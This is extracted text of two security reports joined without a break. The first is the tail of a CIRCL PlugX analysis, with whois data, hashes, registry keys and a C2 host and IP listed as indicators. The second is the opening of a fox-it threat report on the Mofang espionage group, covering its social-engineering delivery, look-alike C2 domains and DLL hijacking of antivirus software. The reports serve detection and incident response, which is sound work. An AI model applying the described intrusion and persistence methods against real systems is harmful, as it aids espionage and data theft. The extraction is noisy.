1 inetnum : 122.199.128.0  122.199.255.255 2 netname : VAAN 3 descr : NexG 4 descr : 5F SeoulAcademy B/D, 9676 DaechiDong, GangnamGu, 135280 5 descr : 6 descr : Allocated to KRNIC Member .
7 descr : I f you would l i k e to f ind assignment 8 descr : information in de ta i l p lease r e f e r to 9 descr : the KRNIC Whois Database at : 10 descr : http://whois.nic.or.kr/english/index.html 11 descr : 12 country : KR 13 adminc : SL1625AP 14 techc : SL1625AP 15 remarks : www.
nexg .
net 16 status : ALLOCATED PORTABLE 17 mntby : MNTKRNICAP 18 mntlower : MNTKRNICAP 19 changed : hmchangedapnic .
net 20060606 20 source : APNIC 21 22 person : Sanguk Lee 23 nichdl : SL1625AP 24 email : ipnexg .
net 25 address : 5F SeoulAcademy B/D, 9676 DaechiDong, GangnamGu, 135280 26 phone : 8225387060 27 faxno : 8225718998 28 country : KR 29 changed : hostmasternida .
or .
kr 20050105 7http://bgpranking.circl.lu/asn_details?asn17877 Page 16 of 21 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu http://bgpranking.circl.lu/asn_details?asn17877 CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013 30 mntby : MNTKRNICAP 31 source : APNIC 32 33 inetnum : 122.199.128.0  122.199.255.255 34 netname : VAANKR 35 descr : NexG 36 country : KR 37 adminc : LS151KR 38 techc : LS151KR 39 status : ALLOCATED PORTABLE 40 mntby : MNTKRNICAP 41 mnti r t : IRTKRNICKR 42 remarks : This information has been pa r t i a l l y mirrored by APNIC from 43 remarks : KRNIC.
To obtain more s p e c i f i c information , please use the 44 remarks : KRNIC whois server at whois .
krnic .
net .
45 changed : hostmasternic .
or .
kr 46 source : KRNIC 4.8.2 Domain 1 Domain Name: YAHOOUPGRADE.COM 2 Registrar : JIANGSU BANGNING SCIENCE  TECHNOLOGY CO.
LTD 3 Whois Server : whois .55 hl .
com 4 Referra l URL: http ://www.55 hl .
com 5 Name Server : DNS5.4CUN.COM 6 Name Server : DNS6.4CUN.COM 7 Status : ok 8 Updated Date : 08aug2012 9 Creation Date : 18 ju l2011 10 Expiration Date : 18 ju l2013 11 12  Last update of whois database : Wed, 27 Mar 2013 22:36:13 UTC 13 14 Domain Name: yahooupgrade .com 15 16 Registrant Contact : 17 yahoo 18 yahoo yahoo whiteyoo_123yahoo .com 19 telephone : 48.56756756756 20 fax : 48.56732453453 21 yahoo yahoo yahoo 345345 22 CA 23 24 Administrative Contact : 25 yahoo yahoo whiteyoo_123yahoo .com 26 telephone : 48.56756756756 27 fax : 48.56732453453 28 yahoo yahoo yahoo 345345 29 CA 30 31 Technical Contact : 32 yahoo yahoo whiteyoo_123yahoo .com 33 telephone : 48.56756756756 34 fax : 48.56732453453 35 yahoo yahoo yahoo 345345 36 CA 37 38 B i l l i ng Contact : 39 yahoo yahoo whiteyoo_123yahoo .com 40 telephone : 48.56756756756 Page 17 of 21 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013 41 fax : 48.56732453453 42 yahoo yahoo yahoo 345345 43 CA 4.9 Current version and history of PlugX A version string can be found in this binary: 1 d :\work\plug7 .0 (mcvsmap) ( fk ing ) ( ) \ she l l code \ she l l code \XPlug .
h This could mean PlugX, version 7.0 codename fking, build for mcvsmap.
References can be found on the internet for previous versions of this malware family: 1 d :\work\plug4 .0 ( nvsmart ) ( sx l )\ she l l code \ she l l code \XPlug .
h 2 d :\work\plug3 .1 ( icesword )\ she l l code \ she l l code \XPlug .
h 3 d :\work\Plug3 .0 (Gf)UDP\Shel l6 \Release\Shel l6 .
pdb 4 i :\work\plug2 .
0 ( ) \ she l l code \ she l l code \XPlug .
h A Appendix A.1 Indicators of Compromise (IOC) This section summarizes the known indicators of compromise.
The list might not be exhaustive, but the existence of any or all of the following indicators might help to discover an infection.
A.1.1 Pipes 1 \PIPE\aPID 2 \PIPE\bPID 3 \PIPE\RUN_AS_USER(PID) (where PID is the process ID of the active malicious process) A.1.2 Files and directories Static files (dropped files) update.exe 1 MD5: f1f48360f95e1b43e9fba0fec5a2afb8 2 SHA1: 70ceb467db7b0161d22e4545479f747417b9705a 3 SHA256: 2bc5ce39dd9afe2157448d3f6d8cb9c549ed39543d159616e38480b9e6c11c49 mcvsmap.exe 1 MD5: 4e1e0b8b0673937415599bf2f24c44ad 2 SHA1: 9224de3af2a246011c6294f64f27206d165317ba 3 SHA256: ae16e10e621d6610a3f7f2c7122f9d1263700ba02d1b90e42798decb2fe84096 McUtil.
DLL 1 MD5: ad4a646b38a482cc07d5b09b4fffd3b3 2 SHA1: ae0f9bf2740d00c5d485827eb32aca33feaa3a90 3 SHA256: 0a99238e1ebebc47d7a89b2ccddfae537479f7f77322b5d4941315d3f7e5ca48 Page 18 of 21 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013 McUtil.
DLL.PPT 1 MD5: 545bb4365a9b7cdb6d22844ebeedda93 2 SHA1: a267f1183b4ff843d68a63264846abf78cc71d1f 3 SHA256: d4fe890a08d4dd44b58a3b85b2a7e89536338099c1c42a9b7e85f4007b0a37b7 UAC.TMP 1 MD5: 52df5c2c07433e2a8f054c2347acb3b4 2 SHA1: 8051474 c1fc0d8f404a42ea32eca1699e54f02e1 3 SHA256: dc09091e5d0ce03c6144748f17bd636f2f0b2ca56f88b550c1d48860596dbdb1 Files and/or directories might be hidden and carry the system flag 1 C:\ProgramData\VirusMap (Windows 7) 2 C:\ Users\All Users\VirusMap (Windows 7) 3 C:\Documents and Sett ings \All Users\VirusMap (Windows XP) 4 ALLUSERSPROFILE\SxS\bug .
log 5 C:\Documents and Sett ings \All Users\VirusMap\NvSmart .
hlp A.1.3 Registry 1 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Serv ices \VirusMap and a key re fe renc ing Sample B 2 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run and a key re fe renc ing Sample B A.1.4 Network (hostname and destination IP addresses) 1 help .
yahooupgrade .com 2 122.199.194.197 A.2 References WHITE PAPER: PLUG X - PAYLOAD EXTRACTION http://www.contextis.com/files/PlugX_-_Payload_Extraction_March_2013_1.
pdf Context Information Security - http://www.contextis.com/ Published 2013-03-22 An Analysis of PlugX http://lastline.com/blog.php Lastline - http://www.lastline.com/ no publication date found PlugX is becoming mature http://www.securelist.com/en/blog/208193974/PlugX_is_becoming_mature Kaspersky Lab - http://www.kaspersky.com/ Page 19 of 21 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu http://www.contextis.com/files/PlugX_-_Payload_Extraction_March_2013_1.pdf http://www.contextis.com/files/PlugX_-_Payload_Extraction_March_2013_1.pdf http://www.contextis.com/ http://lastline.com/blog.php http://www.lastline.com/ http://www.securelist.com/en/blog/208193974/PlugX_is_becoming_mature http://www.kaspersky.com/ CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013 Published 2012-11-27 Unplugging PlugX Capabilities http://blog.trendmicro.com/trendlabs-security-intelligence/unplugging-plugx-capabilities/ TrendMicro - http://www.trendmicro.eu/ Published 2012-09-17 Tracking down the author of the PlugX RAT http://labs.alienvault.com/labs/index.php/2012/tracking-down-the-author-of-the-plugx-rat/ AlienVault - http://labs.alienvault.com Published 2012-09-13 A.3 VirusTotal results Sample A 1 MicroWorldeScan : Trojan .
Agent .AZDK 2 nProtect : Trojan .
Agent .AZDK 3 McAfee : RDN/Generic BackDoor  gq 4 Malwarebytes : Trojan .
Dropper .CH 5 Symantec : WS.
Reputation .1 6 Norman: Agent .APIJH 7 TrendMicroHouseCall : BKDR_POISON.PQ 8 Avast : Win32 : GulpixB [ Trj ] 9 Kaspersky : Backdoor .Win32 .
Gulpix .
bo 10 BitDefender : Trojan .
Agent .AZDK 11 Agnitum : Backdoor .
Gulpix EFaRR6zLtc4 12 ViRobot : Backdoor .Win32 .A.
Gulpix .370702.B 13 Comodo: Unclassif iedMalware 14 FSecure : Trojan .
Agent .AZDK 15 DrWeb: Trojan .
Click2 .52215 16 VIPRE: Trojan .Win32 .
Generic BT 17 AntiVir : TR/Agent .
azdk .3 18 TrendMicro : BKDR_POISON.PQ 19 McAfeeGWEdition : RDN/Generic BackDoor  gq 20 Sophos : Troj/AgentAATT 21 Kingsoft : Win32 .Hack .
Gulpix .
(
kcloud ) 22 Microsoft : Backdoor :Win32/Plugx .A 23 GData : Trojan .
Agent .AZDK 24 AhnLabV3: Backdoor/Win32 .
Gulpix 25 Ikarus : Backdoor .Win32 .
Gulpix 26 Fortinet : W32/Gulpix .BO tr .
bdr 27 AVG: Agent4 .AKAP 28 Panda : Trj/CI .A 29 Scanned : 20130321 04:01:12  45 scans  28 detect ions (62.0) Sample B (mcvsmap.exe) 1 Scanned : 20130321 13:29:45  44 scans  0 detect ions (0.0) Sample C (McUtil.
DLL) Page 20 of 21 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu http://blog.trendmicro.com/trendlabs-security-intelligence/unplugging-plugx-capabilities/ http://www.trendmicro.eu/ http://labs.alienvault.com/labs/index.php/2012/tracking-down-the-author-of-the-plugx-rat/ http://labs.alienvault.com CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013 1 MicroWorldeScan : Trojan .
Agent .AZDK 2 nProtect : Trojan .
Agent .AZDK 3 McAfee : RDN/Generic BackDoor  gt 4 Malwarebytes : Backdoor .
Gulpix 5 Symantec : WS.
Reputation .1 6 Norman: Agent .APIJH 7 TrendMicroHouseCall : TROJ_GEN.RCBCRCJ 8 Avast : Win32 : GulpixB [ Trj ] 9 Kaspersky : Backdoor .Win32 .
Gulpix .
bo 10 BitDefender : Trojan .
Agent .AZDK 11 Agnitum : Backdoor .
Gulpix EFaRR6zLtc4 12 Comodo: Unclassif iedMalware 13 FSecure : Trojan .
Agent .AZDK 14 DrWeb: Trojan .
Click2 .52215 15 VIPRE: Trojan .Win32 .
Generic BT 16 AntiVir : TR/Agent .
azdk .2 17 TrendMicro : TROJ_GEN.RCBCRCJ 18 McAfeeGWEdition : RDN/Generic BackDoor  gt 19 Sophos : Troj/AgentAATT 20 Microsoft : Backdoor :Win32/Plugx .A 21 GData : Trojan .
Agent .AZDK 22 Commtouch: W32/Backdoor .IYCB5867 23 Ikarus : Backdoor .Win32 .
Gulpix 24 Fortinet : W32/Gulpix .BO tr .
bdr 25 AVG: Agent4 .AKAP 26 Panda : Trj/CI .A 27 Scanned : 20130321 13:46:10  44 scans  26 detect ions (59.0) Sample D (McUtil.
DLL.PPT) 1 Not uploaded to VirusTotal .
Sample E 1 Not uploaded to VirusTotal .
Sample F (UAC.TMP) 1 Panda : Suspicious f i l e 2 Scanned : 20120920 02:33:55  43 scans  1 detect ions (2.0) Page 21 of 21 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu Scope of work Analyzed samples Limitations Sharing Executive summary Analysis Techniques used Execution process Diagram Explanation Implemented commands Command details Option Disk Screen Process Service Shell Telnet RegEdit Nethood Portmap SQL Netstat Keylogger Other notable commands and functions log Persistency Control Network and domain information Network Domain Current version and history of PlugX Appendix Indicators of Compromise (IOC) Pipes Files and directories Registry Network (hostname and destination IP addresses) References VirusTotal results
Lead Author:  Yonathan Klijnsma Co-authors:  Danny Heppener, Mitchel Sahertian, Krijn de Mik, Maarten van Dantzig, Yun Zheng Hu, Lennart Haagsma, Martin van Hensbergen, Erik de Jong Version 1.0 May 17, 2016 Mofang A politically motivated information stealing adversary 2  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 It is highly likely that Mofangs targets are selected based on involvement with invest- ments, or technological advances that could be perceived as a threat to the Chinese sphere of influence.
This is most clearly the case in a campaign focusing on government and critical infrastructure of Myanmar that is described in this report.
Chances are about even, though, that Mofang is a relevant threat actor to any organization that invests in Myanmar or is otherwise politically involved.
In addition to the campaign in Myanmar, Mofang has been observed to attack targets across multiple sectors (government, military, critical infrastructure and the automo- tive and weapon industries) in multiple countries.
The following countries have, in the above named sectors, been affected, although fox-it suspects there to be more: India, Germany, United States, Canada, Singapore, South Korea.
Despite its diverse set of targets Mofang is probably one group.
This is based on the fact that its tools (ShimRat and ShimRatReporter) are not widely used, and that campaigns are not usually observed in parallel.
Technically, the group uses distinct tools that date back to at least February 2012: ShimRat and ShimRatReporter.
The mofang group does not use exploits to infect targets, they rely on social engineering and their attacks are carried out in three stages: 1 Compromise for reconnaissance, aiming to extract key information about the target infrastructure.
2 Faux infrastructure setup, designed to avoid attracting attention.
3 The main compromise, to carry out actions on the objective.
The name ShimRat is based on how its persistence is build up.
It uses the so-called shims in Windows to become persistent.
Shims are simply hot patching processes on the fly, to ensure backward compatibility of software on the Microsoft Windows platform.
Mofang (, Mfa ng, to imitate) is a threat actor that almost certainly operates out of China and is probably government-affiliated.
Executive Summary fox-it  Mofang  A politically motivated information stealing adversary  May 2016  3 As far as known, the Mofang group has never used exploits to infect targets, instead relying heavily on social engineering in order to successfully infect targets.
The only exploits the group uses are privilege elevation exploits built into their own malware.
The vulnerabilities that were being exploited were already known about at the time of use.
The full report contains contextual as well as technical information about the group and its activities.
These can be used, for example, for threat assessments, compromise assessments, incident response and forensics activities.
Should you have any additional information or questions about this group or its activities, please get in touch with fox-it through infofox-it.com.
4  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 Table of Contents Executive Summary 2 1 Introduction 5 2  Who is Mofang and who do they attack?
6 2.1 About the Mofang group 6 2.2 Mofangs targets: a diverse set of entities 9 3  The distinct modus operandi of Mofang 10 3.1 Stage 1: Initial reconnoitering compromise 10 3.2 Stage 2: Faux infrastructure setup  12 3.3 Stage 3: The main compromise 12 4 A history of past attacks 14 5 Campaigns in Myanmar 18 5.1 Activities related to the Kyaukphyu Special Economic Zone 18 5.2 Earlier campaigns in Myanmar 20 6  Other notable campaigns and attacks 22 6.1 Attack on Indian defense expo exhibitors 22 6.2 Attack on seg 24 6.3 Attack using a Citrix lure 24 6.4 The global campaign 25 7 Preferred tools 26 7.1 ShimRat 26 7.2 ShimRatReporter 33 8 Network based detection (IOCs) 36 8.1 Snort signatures 36 8.2 Domains  IP addresses 37 9 Host based detection (IOCs) 38 9.1 yara rules 38 9.2 ShimRat samples 40 9.3 ShimRatReporter samples 47 9.4 Antivirus hijacking components 49 9.5 Observed services 50 9.6 Observed shims 51 fox-it  Mofang  A politically motivated information stealing adversary  May 2016  5 Imitation, in this case imitation of a targets infrastructure, is a defining feature of their modus operandi.
This threat report gives insight into some of the information that fox-it has about a threat actor that it follows, called Mofang.
The name Mofang is based on the Mandarin verb  (Mfa ng), which means to imitate.
Imitation, in this case imitation of a targets infrastructure, is a defining feature of their modus operandi.
It is highly likely that the Mofang group is a group that operates out of China and is probably government-affiliated.
Among others, one of their focus areas is the government and critical infrastructure sector of Myanmar.
Additional information was used to contextualize and explain the observed attacks and campaigns, since there is obviously no easy insight in their actual agenda and goals.
The additional research into  geopolitical and economic factors resulted in the hypotheses about the why of these campaigns.
The full picture, however, will probably remain unknown.
fox-it has chosen to release this report now, for additional context to the changing political landscape in Myanmar.
This report contains contextual as well as technical information about the group and its activities.
These can be used, for example, for threat assessments, compromise assessments, incident response and forensics activities.
Should you have any additional information or questions about this group or its activities, please get in touch with fox-it through infofox-it.com.
Chapter 2 through 6 deals with Mofang, the group, its targets and some of their most notable campaigns and attacks.
These chapters also contain geopolitical and economic context.
Chapter 7 explains the working of Mofangs preferred tools: ShimRat and SimRatReporter.
The final two chapters of this report, chapter 8 and 9, provide technical Indicators of Compromise for use in detecting and hunting, both at a host and at a network level.
1 Introduction Table of Contents Executive Summary 2 1 Introduction 5 2  Who is Mofang and who do they attack?
6 2.1 About the Mofang group 6 2.2 Mofangs targets: a diverse set of entities 9 3  The distinct modus operandi of Mofang 10 3.1 Stage 1: Initial reconnoitering compromise 10 3.2 Stage 2: Faux infrastructure setup  12 3.3 Stage 3: The main compromise 12 4 A history of past attacks 14 5 Campaigns in Myanmar 18 5.1 Activities related to the Kyaukphyu Special Economic Zone 18 5.2 Earlier campaigns in Myanmar 20 6  Other notable campaigns and attacks 22 6.1 Attack on Indian defense expo exhibitors 22 6.2 Attack on seg 24 6.3 Attack using a Citrix lure 24 6.4 The global campaign 25 7 Preferred tools 26 7.1 ShimRat 26 7.2 ShimRatReporter 33 8 Network based detection (IOCs) 36 8.1 Snort signatures 36 8.2 Domains  IP addresses 37 9 Host based detection (IOCs) 38 9.1 yara rules 38 9.2 ShimRat samples 40 9.3 ShimRatReporter samples 47 9.4 Antivirus hijacking components 49 9.5 Observed services 50 9.6 Observed shims 51 6  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 2.1 About the Mofang group Despite its diverse set of targets (described in paragraph 2.2), Mofang is probably one group.
This is based on the fact that its tools (ShimRat and ShimRatReporter) are not widely used, and that campaigns are not usually observed in parallel.
Based on a numbers of factors that will be explained in more detail in this Chapter, it is highly likely that the Mofang group is a group that operates out of China and is probably government-affiliated.
The most compelling evidence that supports this hypothesis is the fact that the targets and campaigns known so far can be persuasively correlated to important geopolitical events and investment opportunities that align with Chinese interests.
The most notable of these will be described in chapter 5, which describes systematic espionage in the government and critical infrastructure sector of Myanmar.
It describes: Companies that are involved with investment possibilities that also involve Chinese state owned organizations, become targets Government agencies or companies that play a role in deciding about Chinese investments, become targets In addition to the above, there are four notable technical facts.
Details such as these can, of course, be changed and manipulated without material impact to attacks, which makes them weaker indicators of attribution than contextual evidence derived from likely campaign goals.
In this case, the technical facts support the hypothesis for attribution.
2  Who is Mofang and who do they attack?
Based on a numbers of factors that will be explained in more detail in this Chapter, it is highly likely that the Mofang group is a group that operates out of China and is probably government-affiliated.
fox-it  Mofang  A politically motivated information stealing adversary  May 2016  7 1 There are many similarities at the code level between the stager used by Mofang and others stagers attributed to Chinese groups.
Also striking is the method of hijacking Antivirus Products to run the malware, which fox-it calls ShimRat, as described in chapter chapter 7.1.
This has been seen in multiple espionage cam- paigns attributed to Chinese groups.
In fact the similarities are so strong that some investigators have mistaken ShimRat to be another widely known piece of malware: PlugX.
Based on in-depth investigation of both, fox-it has come to the conclusion that they are not the same.
ShimRat is probably t is used by a separate group.
2 All the documents that were used for the initial attacks contain meta- data that suggests they were created with WPS Office.
This product, also known as Kingsoft Office, is a Chinese product comparable to Microsoft Office.
Artifacts can be seen in document metadata as shown in Figure 1.
3 Simplified Chinese is set as the character set in many of the resources inside various malware samples, as shown in Figure 2.
Figure 1 detail of decoy document metadata Figure 2 Resource information inside a malware sample 8  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 Figure 3  ,  used in the 1991 Hong Kong comedy Tricky Brains 4 An earlier version of ShimRats C2 communication protocol used two very specific words as keywords for requests and responses: Yuok and Yerr.
Although the meaning is not directly obvious, it may be an approximate phonetic representation of the Cantonese  , beat him or kill him.
If this is true, it would suggest at least passive knowledge of Cantonese on the part of the malware author.
The use of Yuok and Yerr was discontinued and replaced by ataD or Data in 2013, as shown in the side by side comparison in Figure 4.
The current communication protocol is documented in paragraph 7.1.6.
Figure 4 Side by side comparison of previous and current C2 communication Government Military Critical Infrastructure Automotive Industry Weapon Industry RD departments specically Germany South Korea Singapore MyanmarIndia United States Canada fox-it  Mofang  A politically motivated information stealing adversary  May 2016  9 Figure 5 Countries and sectors targeted by Mofang 2.2 Mofangs targets: a diverse set of entities On analysis of the organizations that were attacked by Mofang in the past, at first glance it appears that there is no particular sector or country that it targets.
Figure 5 shows aggregate information about known attacks from the past four years.
Looking at the attacks, it is highly likely that targets are selected based on involvement with investments, or technological advances that could be perceived as a threat to the Chinese sphere of influence.
This is most clearly the case in the campaign focusing on Myanmar.
In it, a company was attacked that was involved in a special economic zone1 in Myanmar, which would be of specific interest to Chinas National Petroleum Corporations investments.
It is highly likely that they were targeted because of this, as new waves of attacks can be correlated with events surrounding the investments in that area.
1   Special economic zones, of which Myanmar currently has three, are specific areas within a country where certain laws and regulations are different from the rest of the country, usually with the aim of furthering the host countrys economy.
Government Military Critical Infrastructure Automotive Industry Weapon Industry RD departments specically Germany South Korea Singapore MyanmarIndia United States Canada 10  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 The Mofang group uses distinct malware that dates back to at least February 2012.
The two tools used in their campaigns are: 1 ShimRat 2 ShimRatReporter As far as known, the Mofang group has never used exploits to infect targets, instead relying heavily on social engineering in order to successfully infect targets.
The only exploits the group uses are privilege elevation exploits built into their own malware.
The vulnerabilities that were being exploited were already known about at the time of use.
A more detailed description of the malware can be found in paragraph 7.1 and 7.2.
The Mofang group has a distinct method of carrying out attacks using these two tools, with the goal of stealing information.
In short, their method, which is described below, can be summarized as follows: 1 Initial reconnoitering compromise: an initial compromise is performed on specific employees of a targeted organization with the aim of extracting key information about the target infrastructure to be used in stage 2 2 Faux infrastructure setup: the group sets up (external) infrastructure designed to avoid attracting attention 3 The main compromise.
3.1 Stage 1: Initial reconnoitering compromise For the initial compromise, an environment mapping tool known as ShimRatReporter, is delivered to suitable targets.
ShimRatReporter can extract a wealth of information about an infrastructure, but the most pertinent data needed for the next stage in their attack are: Local privileges for the infected user Local domain Local proxy setup Installed software.
ShimRatReporter is fully explained in chapter 7.2.
The delivery method of ShimRatReporter is most likely through emails pointing to an executable placed on a compromised (and trusted) website.
fox-it has observed targeted and untargeted variations of the initial stage of the attack: 1 Untargeted: the ShimRatReporter sends out the report with the information and immediately downloads the ShimRat malware from a hardcoded location.
This variation is probably less targeted, with victims added to the global campaign C2 for check-in and control.
For more information about the global campaign, see paragraph 6.4.
2 Targeted: the ShimRatReporter sends out the report and exits afterwards.
The ShimRatReporter tool was only used to map out the victim but in no way to auto- mate further infection (yet).
3  The distinct modus operandi of Mofang fox-it  Mofang  A politically motivated information stealing adversary  May 2016  11 Operators Target organization Target gathering informationgathering information Setting up the infrastructure Setting up the customized infrastructure Spear phishing attack with ShimRatReporter The main attack with a customized ShimRat version The main attack with ShimRat 3 information Victims PCs and servers with classied information control 22 1 Global campaignTargeted campaign Modus operandi of the Mofang group 12  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 3.2 Stage 2: Faux infrastructure setup The second stage of an attack is setting up a faux infrastructure, specifically to mimic the anti-virus products used by the target or the target itself.
The ShimRat malware then communicates over HTTP with preconfigured command and control servers.
A combination of typo-squatting and closely related names are used to register domains under the same or different tlds.
This method of setting up command and control infrastructure is customized for each target and campaign.
Anything outside of campaigns targeting specific companies is added to the global campaign which is described in paragraph 6.4.
The global campaign infrastructure mimics the Microsoft Windows or Microsoft Office software.
3.3 Stage 3: The main compromise After having gathered all necessary information about the locally configured proxies and having set up a faux infrastructure, a custom built version of the ShimRat mal- ware will be deployed to infect users with preconfigured local proxies, C2 servers and persistence information.
As mentioned before, delivery of ShimRat relies heavily on social engineering, through the use of emails enticing targets to open an attached (decoy) document.
These doc- uments contain actual text to make the target think it was indeed a legitimate Word document, pdf file or Excel sheet.
When the document is opened, an executable is dropped which decompresses the final payload and places it on disk.
The final payload consists of ShimRat bundled with extra files: legitimate application files which suffer from dll hijacking vulnerabilities.
These vulnerabilities are used to launch the actual malware.
The legitimate application is started which in turn runs the actual malware.
A benefit of this method is that the malware runs under the process of a legitimate application.
When it requests higher privileges via uac, the uac warning screen will show this legitimate application.
Also, anyone inspecting running applica- tions, would see legitimate software running.
It is worthy to note that the Mofang group commonly exploits dll hijacking vulner- abilities in anti-virus products for persistence purposes, presumably in order to look as harmless as possible.
Over the years theyve used application components from Norman, McAfee and Norton.
A complete list of the used applications can be found in paragraph 9.4.
The methods of persistence (described in paragraph 7.1.1) are sometimes adapted depending on the target.
Rather than using generic texts in the persistent services, customized names and descriptions are used, based on the installed software information that was extracted with the ShimRatReporter tool previously.
Follow up actions in the attacks, such as stealing information or lateral movement through the network, are possible with the capabilities of the ShimRat malware as described in paragraph 7.1.5.
fox-it  Mofang  A politically motivated information stealing adversary  May 2016  13 As far as known, the Mofang group has never used exploits to infect targets, instead relying heavily on social engineering in order to successfully infect targets.
14  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 Based on compile time artifacts in the first versions of the malware, it is likely that the project had started 2012.
A program database path, a file present on the authors machine used to aid in debugging the malware, present in early samples gives more indication that the project started in 2012: The following is a timeline from early 2012 through to 2016.
This timeline contains development information and a small subsection of the incidents that fox-it is aware of related to this group.
The Mofang group is currently still active.
The first activity of the Mofang group was seen in February 2012, when the first version(s) of their malware, ShimRat, was seen in attacks.
4 A history of past attacks z:\project2012\remotecontrol\winhttpnet\amcy\app\win7\installscript\objfre_wxp_x86\i386\InstallScript.pdb z:\project2012\remotecontrol\winhttpnet\amcy\app\win7\serviceapp\objfre_wxp_x86\i386\ServiceApp.pdb z:\project2012\remotecontrol\winhttpnet\cqgaen\app\installscript\objfre_wxp_x86\i386\InstallScript.pdb z:\project2012\remotecontrol\winhttpnet\cqgaen\app\serviceapp\objfre_wxp_x86\i386\ServiceApp.pdb fox-it  Mofang  A politically motivated information stealing adversary  May 2016  15 ShimRat First ever ShimRat malware sample observed in an attack.
The initial work- ing folder for the authors of ShimRat was project2012 which indicates this malware was created in 2012.
ShimRat An attack took place against a Myanmar government entity.
A compromised government server from the Ministry of Commerce was used as a C2 server.
Image: see page 20 ShimRat An unknown organization was attacked using a fake Google mail domain for payload staging.
The C2 was also running on this fake Google domain.
ShimRat An attack was started against a German automotive company specializing in vehicles for armed forces.
ShimRat A Canadian organization was attacked.
Custom infrastructure was used.
ShimRat An attack was started against another german automotive company.
Infrastructure was setup specifically for this target.
Company proxy configurations were present in samples indicating an earlier breach.
ShimRat An attack started against an unknown organization.
The organi- zation was running AVG Antivirus internally and the infrastructure setup mimicked an AVG Antivirus domain.
ShimRat An unknown organization was attacked.
The C2 infrastructure was setup to mimic the New York Times website.
January January February February March March April April May May June June July July August August September October November December 2012 2013 G lo ba l c am pa ig n History and Timeline Attacks Development ShimRat ShimRatReporter 16  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 ShimRat An attack was started against an unknown South Korean organi- zation.
The C2 infrastructure was hosted on a compromised server.
ShimRatReporter First ever ShimReporter malware sample observed in an attack.
ShimRat An attack was launched against an unknown US organization.
The C2 infrastructure was hosted on a compromised server.
The lure was faked payment documents.
ShimRat An attack started against an unknown organization.
The C2 infrastructure was setup to mimic a travel agency of some kind.
ShimRatReporter An attack started against a Myanmar government entity.
A documented from the HumanRightsNow organization named Status of Human Rights and Sanctions in Myanmar  April 2014 was used as a lure and decoy ShimRatReporter An attack started against an unknown organization in either the United States or Canada ShimRat An attack started against a US government organization.
The lure used was a registration form for an electronic warfare training course.
C2 infrastructure from the global campaign was used.
Image: see page 23 ShimRat An attack started against the exhibitors of the 2013 MSME DEFEXPO in India.
C2 infrastruc- ture from the global campaign was used.
Image: see page 22 ShimRat An organization in Singapore was attacked.
Custom infrastructure was setup.
January February March April May June July August September September October October November November December December 2014 G lo ba l c am pa ig n fox-it  Mofang  A politically motivated information stealing adversary  May 2016  17 ShimRatReporter An attack started against an unknown entity in Myanmar.
The payload was staged from the official website for the Myanmar national airline.
Image: see page 21 ShimRat An attack started against a US organization leveraging a fake Citrix website.
The domain for the payload was an old expired domain that used to host a legitimate piece of software.
Image: see page 24 ShimRat An attack started against an unknown organization, the campaign used global campaign infrastructure.
The lure used was a document about LED lighting and semiconductor technology.
ShimRatReporter An attack started against a company called CPG Corp active in the Myanmar special economic zones.
This campaign is described under section 6.2.
ShimRatReporter An attack started against an unknown entity tracked in the Global Campaign described in section 6.5.
ShimRat An attack started against a Myanmar entity.
The payload was staged from the Myanmar port authority webserver.
Image: see page 20 June July August September October November December ShimRatReporter An attack started against a Myanmar government entity.
Payloads during the campaign were staged of a compromised Burmese government server.
January February March April 2015 ongoing G lo ba l c am pa ig n 18  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 5.1 Activities related to the Kyaukphyu Special Economic Zone Since 2009, foreign investment in Myanmar has increased substantially.
While it amounted to around usd 300 million in 20092010, it grew to usd 20 billion in the period of 20102011.
To further increase and facilitate foreign investment, the government of Myanmar established special economic zones (sezs).
These zones are supposed to encourage economic growth and foreign investments even more.
These sezs would give investors a variation of tax reliefs, 5 year tax holidays as well as longer land leases.
In 2011 Myanmar established the Central Body for the Myanmar Special Economic Zones, a regulatory body which would oversee foreign investments in the sezs.
In the same year the sez law and Dawei law were also passed, establishing a set of three sezs in Myanmar.
The current sezs under development in Myanmar are the Dawei sez, Thilawa sez and the Kyaukphyu sez2.
The Mofang group has been active in relation to the Kyaukphyu sez.
